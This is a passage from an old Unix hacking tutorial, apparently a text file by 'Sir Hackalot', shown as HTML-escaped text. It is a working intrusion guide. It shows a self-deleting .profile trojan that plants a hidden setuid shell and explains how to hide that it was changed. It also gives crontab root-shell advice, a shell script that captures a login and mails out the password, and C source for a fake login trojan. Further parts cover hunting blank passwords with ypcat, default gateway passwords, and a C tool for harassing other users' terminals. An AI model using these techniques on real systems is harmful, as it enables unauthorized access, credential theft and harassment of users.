this:&lt;br /&gt;&lt;br /&gt;$ ed .profile&lt;br /&gt;[some number will be here]&lt;br /&gt;? a&lt;br /&gt;cp /bin/sh .runme&lt;br /&gt;chmod a+x .runme&lt;br /&gt;chmod a+s .runme&lt;br /&gt;(control-d)&lt;br /&gt;? w&lt;br /&gt;[new filesize will be shown]&lt;br /&gt;? q&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Now, when the user next logs on, the .profile will create .runme which&lt;br /&gt;&amp;nbsp; will set your ID to the user whose .profile you changed.&amp;nbsp; Ideally, you&#39;ll&lt;br /&gt;&amp;nbsp; go back in and zap those lines after the suid is created, and you&#39;ll create&lt;br /&gt;&amp;nbsp; a suid somewhere else, and delete the one in his dir.&amp;nbsp; The .runme will&lt;br /&gt;&amp;nbsp; not appear in the user&#39;s REGULAR directory list, it will only show up&lt;br /&gt;&amp;nbsp; if he does &quot;ls -a&quot; (or ls with a -a combination), because, the &#39;.&#39; makes&lt;br /&gt;&amp;nbsp; a file hidden.&lt;br /&gt;&lt;br /&gt;The above was a TROJAN HORSE, which is one of the most widely used/abused&lt;br /&gt;method of gaining more power on a unix.&amp;nbsp; The above could be done in C via&lt;br /&gt;the system() command, or by just plain using open(), chmod(), and the like.&lt;br /&gt;* Remember to check and see if the root user&#39;s profile is writeable *&lt;br /&gt;* it is located at /.profile (usually) *&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; The BEST thing that could happen is to find a user&#39;s directory writeable&lt;br /&gt;&amp;nbsp;&amp;nbsp; by you.&amp;nbsp; Why?&amp;nbsp; well, you could replace all the files in the directory&lt;br /&gt;&amp;nbsp;&amp;nbsp; with your own devious scripts, or C trojans.&amp;nbsp; Even if a file is not&lt;br /&gt;&amp;nbsp;&amp;nbsp; writeable by you, you can still overwrite it by deleteing it.&amp;nbsp; If you&lt;br /&gt;&amp;nbsp;&amp;nbsp; can read various files, such as the user&#39;s .profile, you can make a&lt;br /&gt;&amp;nbsp;&amp;nbsp; self deleting trojan as so:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;$ cp .profile temp.pro&lt;br /&gt;&amp;nbsp;$ ed .profile&lt;br /&gt;&amp;nbsp;1234&lt;br /&gt;&amp;nbsp;? a&lt;br /&gt;&amp;nbsp;cp /bin/sh .runme&lt;br /&gt;&amp;nbsp;chmod a+x .runme&lt;br /&gt;&amp;nbsp;chmod a+s .runme&lt;br /&gt;&amp;nbsp;mv temp.pro .profile&lt;br /&gt;&amp;nbsp;(control-d)&lt;br /&gt;&amp;nbsp;? w&lt;br /&gt;&amp;nbsp;[another number]&lt;br /&gt;&amp;nbsp;? q&lt;br /&gt;&amp;nbsp;$ chown that_user temp.pro&lt;br /&gt;&lt;br /&gt;&amp;nbsp; What happens is that you make a copy of the .profile before you change it.&lt;br /&gt;&amp;nbsp; Then, you change the original.&amp;nbsp; When he runs it, the steps are made, then&lt;br /&gt;&amp;nbsp; the original version is placed over the current, so if the idiot looks in&lt;br /&gt;&amp;nbsp; his .profile, he won&#39;t see anything out of the ordinary, except that he&lt;br /&gt;&amp;nbsp; could notice in a long listing that the change date is very recent, but&lt;br /&gt;&amp;nbsp; most users are not paranoid enough to do extensive checks on their files,&lt;br /&gt;&amp;nbsp; except sysadm files (such as passwd).&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Now, remember, even though you can write to a dir, you may not be able&lt;br /&gt;&amp;nbsp; to write to a file without deleting it.&amp;nbsp; If you do not have write perms&lt;br /&gt;&amp;nbsp; for that file, you&#39;ll have to delete it and write something in its place&lt;br /&gt;&amp;nbsp; (put a file with the same name there). The most important thing to remember&lt;br /&gt;&amp;nbsp; if you have to delete a .profile is to CHANGE the OWNER back after you&lt;br /&gt;&amp;nbsp; construct a new one (hehe) for that user.&amp;nbsp; He could easily notice that his&lt;br /&gt;&amp;nbsp; .profile was changed and he&#39;ll know who did it.&amp;nbsp; YES, you can change the&lt;br /&gt;&amp;nbsp; owner to someone else besides yourself and the original owner (as to throw&lt;br /&gt;&amp;nbsp; him off), but this is not wise as keeping access usually relies on the fact&lt;br /&gt;&amp;nbsp; that they don&#39;t know you are around.&lt;br /&gt;&lt;br /&gt;&amp;nbsp; You can easily change cron files if you can write to them.&amp;nbsp; I&#39;m not going&lt;br /&gt;&amp;nbsp; to go into detail about cronfile formats here, just find the crontab files&lt;br /&gt;&amp;nbsp; and modify them to create a shell somewhere as root every once in a while,&lt;br /&gt;&amp;nbsp; and set the user-id.&lt;br /&gt;&lt;br /&gt;III. Trojan Horses on Detached terminals.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Basically this:&amp;nbsp; You can send garbage to a user&#39;s screen and&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mess him up bad enough to force a logoff, creating a detached&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; account.&amp;nbsp; Then you can execute a trojan horse off that terminal in&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; place of login or something, so the next one who calls can hit the&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; trojan horse.&amp;nbsp; This USUALLY takes the form of a fake login and&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; write the username/pw entererred to disk.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, there are other trojan horses available for you to write.&amp;nbsp; Now,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; don&#39;t go thinking about a virus, for they don&#39;t work unless ROOT runs&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; them.&amp;nbsp; Anyway, a common trjan would be a shell script to get the&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; password, and mail it to you.&amp;nbsp; Now, you can replace the code for&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the self deleting trojan with one saying something like:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &quot;login: \c&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; read lgin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo off (works on some systems)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (if above not available...: stty -noecho)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &quot;Password:\c&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; read pw&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo on&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &quot;Login: $lgin - Pword: $pw&quot; | mail you&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, the best way to use this is to put it in a seperate script file&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; so it can be deleted as part of the self deleting trojan.&amp;nbsp; A quick&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; modification, removing the &quot;login: &quot; and leaving the password&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; may have it look like SU, so you can get the root password.&amp;nbsp; But&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; make sure the program deletes itself.&amp;nbsp; Here is a sample trojan&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; login in C:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Get the necessary defs.. */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; main()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char *name[80];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char *pw[20];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FILE *strm;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;login: &quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; gets(name);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pw = getpass(&quot;Password:&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strm = fopen(&quot;/WhereEver/Whateverfile&quot;,&quot;a&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(strm,&quot;User: (%s), PW [%s]\n&quot;,name,pw);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fclose(strm);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* put some kind of error below... or something... */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Bus Error - Core Dumped\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The program gets the login, and the password, and appends it to&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a file (/wherever/whateverfile), and creates the file if it can,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; and if its not there.&amp;nbsp; That is just an example.&amp;nbsp; Network Annoyances&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; come later.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;IV.&amp;nbsp; Odd systems&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; There may be systems you can log in to with&amp;nbsp; no problem, and find some&lt;br /&gt;slack menu, database, or word processor as your shell, with no way to the&lt;br /&gt;command interpreter (sh, ksh, etc..).&amp;nbsp; Don&#39;t give up here.&amp;nbsp; Some systems will&lt;br /&gt;let you login as root, but give you a menu which will allow you to add an&lt;br /&gt;account.&amp;nbsp; However, ones that do this usually have some purchased software&lt;br /&gt;package running, and the people who made the software KNOW that the people&lt;br /&gt;who bought it are idiots, and the thing will sometimes only allow you to&lt;br /&gt;add accounts with user-id 100 or greater, with their special menushell as&lt;br /&gt;a shell.&amp;nbsp; You probably won&#39;t get to pick the shell, the program will probably&lt;br /&gt;stick one on the user you created which is very limiting.&amp;nbsp; HOWEVER, sometimes&lt;br /&gt;you can edit accounts, and it will list accounts you can edit on the screen.&lt;br /&gt;HOWEVER, these programs usually only list those with UIDS &amp;gt; 100 so you don&#39;t&lt;br /&gt;edit the good accounts, however, they donot stop you from editing an account&lt;br /&gt;with a UID &amp;lt; 100.&amp;nbsp; The &quot;editing&quot; usually only involves changing the password&lt;br /&gt;on the account.&amp;nbsp; If an account has a * for a password, the standard passwd&lt;br /&gt;program which changes programs, will say no pw exists, and will ask you to&lt;br /&gt;enter one. (wallah! You have just freed an account for yourself.&amp;nbsp; Usually&lt;br /&gt;bin and sys have a * for a password).&amp;nbsp; If one exists you&#39;ll have to enter&lt;br /&gt;the old Password (I hope you know it!) for that account.&amp;nbsp; Then, you are&lt;br /&gt;in the same boat as before. (BTW -- These wierd systems are usually&lt;br /&gt;Xenix/386, Xenix/286, or Altos/286)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; With word processors, usually you can select the load command,&lt;br /&gt;and when the word processor prompts for a file, you can select the passwd&lt;br /&gt;file, to look for open accounts, or at least valid ones to hack.&amp;nbsp; An example&lt;br /&gt;would be the informix system.&amp;nbsp; You can get a word processor with that such&lt;br /&gt;as Samna word, or something, and those Lamers will not protect against&lt;br /&gt;shit like that.&amp;nbsp; Why?&amp;nbsp; The Passwd file HAS to be readable by all for the most&lt;br /&gt;part, so each program can &quot;stat&quot; you.&amp;nbsp; However, word processors could be made&lt;br /&gt;to restrict editing to a directory, or set of directories.&amp;nbsp; Here is an&lt;br /&gt;example:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ id&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; uid=100(sirhack) gid=100(users)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ sword&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (word processor comes up)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (select LOAD A FILE)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Edit File&amp;gt;: /etc/passwd&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Loading..&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (you see: )&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ...&lt;br /&gt;&lt;br /&gt;Now I have found an account to take over! &quot;datawiz&quot; will get me in with no&lt;br /&gt;trouble, then I can change his password, which he will not like at all.&lt;br /&gt;Some systems leave &quot;sysadm&quot; unpassworded (stupid!), and now, Most versions&lt;br /&gt;of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which&lt;br /&gt;will menu drive all the important shit, even creating users, but you must&lt;br /&gt;have ansi or something.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; You can usually tell when you&#39;ll get a menu.&amp;nbsp; Sometimes on UNIX&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SYSTEM V, when it says TERM = (termtype), and is waiting for&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; you to press return or whatever, you will probably get a menu.. ack.&lt;br /&gt;&lt;br /&gt;V. Shadowed Password files&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Not much to say about this.&amp;nbsp; all it is, is when every password field&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; in the password file has an &quot;x&quot; or just a single character.&amp;nbsp; What&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; that does is screw you, becuase you cannot read the shadowed password&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; file, only root can, and it contains all the passwords, so you will&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; not know what accounts have no passwords, etc.&lt;br /&gt;&lt;br /&gt;There are a lot of other schemes for hacking unix, lots of others, from&lt;br /&gt;writing assembly code that modifies the PCB through self-changing code which&lt;br /&gt;the interrupt handler doesn&#39;t catch, and things like that.&amp;nbsp; However, I do&lt;br /&gt;not want to give away everything, and this was not meant for advanced Unix&lt;br /&gt;Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix&lt;br /&gt;assembly language or anything.&amp;nbsp; Now I will Talk about Internet.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---&amp;gt;&amp;gt;&amp;gt; InterNet &amp;lt;&amp;lt;&amp;lt;---&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Why do I want to talk about InterNet?&amp;nbsp; Well, because it is a prime&lt;br /&gt;example of a TCP/IP network, better known as a WAN (Wide-Area-Network).&lt;br /&gt;Now, mainly you will find BSD systems off of the Internet, or SunOS, for&lt;br /&gt;they are the most common.&amp;nbsp; They may not be when System V, Rel 4.0, Version&lt;br /&gt;2.0 comes out.&amp;nbsp; Anyway,&amp;nbsp; these BSDs/SunOSs like to make it easy to jump&lt;br /&gt;from one computer to another once you are logged in.&amp;nbsp; What happens is&lt;br /&gt;EACH system has a &quot;yello page password file&quot;. Better known as yppasswd.&lt;br /&gt;If you look in there, and see blank passwords you can use rsh, rlogin, etc..&lt;br /&gt;to slip into that system.&amp;nbsp; One system in particular I came across had a&lt;br /&gt;a yppasswd file where *300* users had blank passwords in the Yellow Pages.&lt;br /&gt;Once I got in on the &quot;test&quot; account, ALL I had to do was select who I wanted&lt;br /&gt;to be, and do: rlogin -l user (sometimes -n).&amp;nbsp; Then it would log me onto&lt;br /&gt;the system I was already on, through TCP/IP.&amp;nbsp; However, when you do this,&lt;br /&gt;remember that the yppasswd only pertains to the system you are on at&lt;br /&gt;the time.&amp;nbsp; To find accounts, you could find the yppasswd file and do:&lt;br /&gt;&lt;br /&gt;% cat yppasswd | grep ::&lt;br /&gt;&lt;br /&gt;Or, if you can&#39;t find yppasswd..&lt;br /&gt;&lt;br /&gt;% ypcat passwd | grep ::&lt;br /&gt;&lt;br /&gt;On ONE system (which will remain confidential), I found the DAEMON account&lt;br /&gt;left open in the yppasswd file.&amp;nbsp; Not bad.&amp;nbsp; Anyway,&amp;nbsp; through one system&lt;br /&gt;on the internet, you can reach many.&amp;nbsp; Just use rsh, or rlogin, and look&lt;br /&gt;in the file: /etc/hosts for valid sites which you can reach.&amp;nbsp; If you get&lt;br /&gt;on to a system, and rlogin to somewhere else, and it asks for a password,&lt;br /&gt;that just means one of two things:&lt;br /&gt;&lt;br /&gt;A. Your account that you have hacked on the one computer is on the target&lt;br /&gt;&amp;nbsp;&amp;nbsp; computer as well.&amp;nbsp; Try to use the same password (if any) you found the&lt;br /&gt;&amp;nbsp;&amp;nbsp; hacked account to have.&amp;nbsp; If it is a default, then it is definitly on the&lt;br /&gt;&amp;nbsp;&amp;nbsp; other system, but good luck...&lt;br /&gt;&lt;br /&gt;B. rlogin/rsh passed your current username along to the remote system, so it&lt;br /&gt;&amp;nbsp;&amp;nbsp; was like typing in your login at a &quot;login: &quot; prompt.&amp;nbsp; You may not exist on&lt;br /&gt;&amp;nbsp;&amp;nbsp; the other machine.&amp;nbsp; Try &quot;rlogin -l login_name&quot;, or rlogin -n name..&lt;br /&gt;&amp;nbsp;&amp;nbsp; sometimes, you can execute &quot;rwho&quot; on another machine, and get a valid&lt;br /&gt;&amp;nbsp;&amp;nbsp; account.&lt;br /&gt;&lt;br /&gt;Some notes on Internet servers.&amp;nbsp; There are &quot;GATEWAYS&quot; that you can get into&lt;br /&gt;that will allow access to MANY internet sites.&amp;nbsp; They are mostly run off&lt;br /&gt;a modified GL/1 or GS/1.&amp;nbsp; No big deal.&amp;nbsp; They have help files.&amp;nbsp; However,&lt;br /&gt;you can get a &quot;privilged&quot; access on them, which will give you CONTROL of&lt;br /&gt;the gateway.. You can shut it down, remove systems from the Internet, etc..&lt;br /&gt;When you request to become privileged, it will ask for a password.&amp;nbsp; There is&lt;br /&gt;a default.&amp;nbsp; The default is &quot;system&quot;.&amp;nbsp; I have come across *5* gateways with&lt;br /&gt;the default password.&amp;nbsp; Then again, DECNET has the same password, and I have&lt;br /&gt;come across 100+ of those with the default privileged password.&amp;nbsp; CERT Sucks.&lt;br /&gt;a Gateway that led to APPLE.COM had the default password.&amp;nbsp; Anyone could&lt;br /&gt;have removed apple.com from the internet.&amp;nbsp; Be advised that there are many&lt;br /&gt;networks now that use TCP/IP.. Such as BARRNET, LANET, and many other&lt;br /&gt;University networks.&lt;br /&gt;&lt;br /&gt;--** Having Fun **--&lt;br /&gt;&lt;br /&gt;Now, if nothing else, you should atleast have some fun.&amp;nbsp; No, I do not mean&lt;br /&gt;go trashing hardrives, or unlinking directories to take up inodes, I mean&lt;br /&gt;play with online users.&amp;nbsp; There are many things to do.&amp;nbsp; Re-direct output&lt;br /&gt;to them is the biggie.&amp;nbsp; Here is an example:&lt;br /&gt;&amp;nbsp;$ who&lt;br /&gt;&amp;nbsp;loozer&amp;nbsp;&amp;nbsp; tty1&lt;br /&gt;&amp;nbsp;sirhack&amp;nbsp; tty2&lt;br /&gt;&amp;nbsp;$ banner You Suck &amp;gt;/dev/tty1&lt;br /&gt;&amp;nbsp;$&lt;br /&gt;&amp;nbsp;That sent the output to loozer.&amp;nbsp; The TTY1 is where I/O is being performed&lt;br /&gt;&amp;nbsp;to his terminal (usually a modem if it is a TTY).&amp;nbsp; You can repetitiously&lt;br /&gt;&amp;nbsp;banner him with a do while statement in shell, causing him to logoff. Or&lt;br /&gt;&amp;nbsp;you can get sly, and just screw with him.&amp;nbsp; Observe this C program:&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;main(argc,argument)&lt;br /&gt;int argc;&lt;br /&gt;char *argument[];&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; int handle;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; char *pstr,*olm[80];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; char *devstr = &quot;/dev/&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; int acnt = 2;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FILE *strm;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; pstr = &quot;&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (argc == 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;OL (OneLiner) Version 1.00 \n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;By Sir Hackalot [PHAZE]\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;\nSyntax: ol tty message\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Example: ol tty01 You suck\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;OL (OneLiner) Version 1.0\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;By Sir Hackalot [PHAZE]\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (argc == 2) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; strcpy(olm,&quot;&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;\nDummy! You forgot to Supply a ONE LINE MESSAGE\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Enter one Here =&amp;gt; &quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; gets(olm);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcpy(pstr,&quot;&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(pstr,devstr);&lt;br 